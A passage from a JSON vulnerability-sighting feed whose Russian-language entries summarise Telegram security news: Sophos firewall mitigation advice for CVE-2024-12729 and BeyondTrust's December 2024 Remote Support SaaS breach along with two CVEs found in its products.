\u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043e\u0431\u044b\u0447\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c SSH \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 WAN \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Sophos Central \u0438\u043b\u0438 VPN.\n\n\u0414\u043b\u044f \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439 CVE-2024-12729 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0440\u0442\u0430\u043b\u0430 \u0438 \u0432\u0435\u0431-\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0438\u0437 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.", "creation_timestamp": "2024-12-23T15:40:05.000000Z"}, {"uuid": "103f0efe-8d0a-4139-a383-df5b653e3712", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://t.me/true_secator/6563", "content": "\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0430 Privileged Access Management \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 BeyondTrust \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0430\u0441\u044c \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0435 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0434\u0435\u043a\u0430\u0431\u0440\u044f \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u0435\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 SaaS-\u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438.\n\n\u041f\u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f\u043c\u0438, \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0444\u0438\u0440\u043c\u0430\u043c\u0438, \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f\u043c\u0438 \u0440\u043e\u0437\u043d\u0438\u0447\u043d\u043e\u0439 \u0442\u043e\u0440\u0433\u043e\u0432\u043b\u0438 \u0438 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0435\u0440\u0446\u0438\u0438, \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438 \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430\u043c\u0438 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u043a\u043e\u043c\u043c\u0443\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u0443\u0433, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0431\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u043c \u0441\u0435\u043a\u0442\u043e\u0440\u043e\u043c.\n\n2 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430\u00a0\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b BeyondTrust \u0437\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u043b\u0438 \u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0441\u0435\u0442\u0438. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 Remote Support SaaS.\n\n\u0414\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0435 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u044e, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043b\u044e\u0447\u0443 API \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 SaaS, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b \u0438\u043c \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0434\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.\n\nBeyondTrust \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0442\u043e\u0437\u0432\u0430\u043b\u0430 \u043a\u043b\u044e\u0447 API, \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0438 \u043f\u0440\u0438\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u0432 \u0442\u043e\u0442 \u0436\u0435 \u0434\u0435\u043d\u044c, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b SaaS-\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438.\n\n\u041f\u043e\u043a\u0430 \u043d\u0435\u044f\u0441\u043d\u043e, \u0441\u043c\u043e\u0433\u043b\u0438 \u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b SaaS-\u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442.\n\n\u041d\u043e \u0437\u0430\u0442\u043e \u0432 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: \u043e\u0434\u043d\u0443 16 \u0434\u0435\u043a\u0430\u0431\u0440\u044f \u0438 \u0434\u0440\u0443\u0433\u0443\u044e 18 \u0447\u0438\u0441\u043b\u0430.\n\n\u041f\u0435\u0440\u0432\u0430\u044f CVE-2024-12356 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434, \u0432\u043b\u0438\u044f\u044e\u0449\u0443\u044e \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Remote Support (RS) \u0438 Privileged Remote Access (PRA).\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, CVE-2024-12686, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432 \u0442\u0435\u0445 \u0436\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043e\u0431\u044a\u0435\u043a\u0442.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u044f\u0432\u043d\u043e \u043d\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u044d\u0442\u0438 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 0-day \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c BeyondTrust \u0438\u043b\u0438 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435  \u0441\u0432\u043e\u0435\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a \u0434\u043b\u044f \u043e\u0445\u0432\u0430\u0442\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432.\n\n\u041d\u043e \u044d\u0442\u043e \u0432\u043f\u043e\u043b\u043d\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f, \u0434\u0430\u0436\u0435 \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0432 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u0445 \u043f\u043e \u043d\u0438\u043c \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442.\n\nBeyondTrust \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445, \u043d\u043e \u0442\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0410 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 \u0442\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f.", "creation_timestamp": "2024-12-20T12:20:05.000000Z"}, {"uuid": "6e94b354-4029-44d2-bb10-973ffd1afe36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/true_secator/6563", "content": "\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0430 Privileged Access Management \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 BeyondTrust \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0430\u0441\u044c \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0435 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0434\u0435\u043a\u0430\u0431\u0440\u044f \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u0435\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 SaaS-\u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438.\n\n\u041f\u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f\u043c\u0438, \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0444\u0438\u0440\u043c\u0430\u043c\u0438, \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f\u043c\u0438 \u0440\u043e\u0437\u043d\u0438\u0447\u043d\u043e\u0439 \u0442\u043e\u0440\u0433\u043e\u0432\u043b\u0438 \u0438 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0435\u0440\u0446\u0438\u0438, \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438 \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430\u043c\u0438 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u043a\u043e\u043c\u043c\u0443\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u0443\u0433, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0431\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u043c \u0441\u0435\u043a\u0442\u043e\u0440\u043e\u043c.\n\n2 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430\u00a0\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b BeyondTrust \u0437\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u043b\u0438 \u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0441\u0435\u0442\u0438. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 Remote Support SaaS.\n\n\u0414\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0435 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u044e, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043b\u044e\u0447\u0443 API \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 SaaS, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b \u0438\u043c \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0434\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.\n\nBeyondTrust \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0442\u043e\u0437\u0432\u0430\u043b\u0430 \u043a\u043b\u044e\u0447 API, \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0438 \u043f\u0440\u0438\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u0432 \u0442\u043e\u0442 \u0436\u0435 \u0434\u0435\u043d\u044c, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b SaaS-\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438.\n\n\u041f\u043e\u043a\u0430 \u043d\u0435\u044f\u0441\u043d\u043e, \u0441\u043c\u043e\u0433\u043b\u0438 \u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b SaaS-\u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442.\n\n\u041d\u043e \u0437\u0430\u0442\u043e \u0432 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: \u043e\u0434\u043d\u0443 16 \u0434\u0435\u043a\u0430\u0431\u0440\u044f \u0438 \u0434\u0440\u0443\u0433\u0443\u044e 18 \u0447\u0438\u0441\u043b\u0430.\n\n\u041f\u0435\u0440\u0432\u0430\u044f CVE-2024-12356 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434, \u0432\u043b\u0438\u044f\u044e\u0449\u0443\u044e \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Remote Support (RS) \u0438 Privileged Remote Access (PRA).\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f 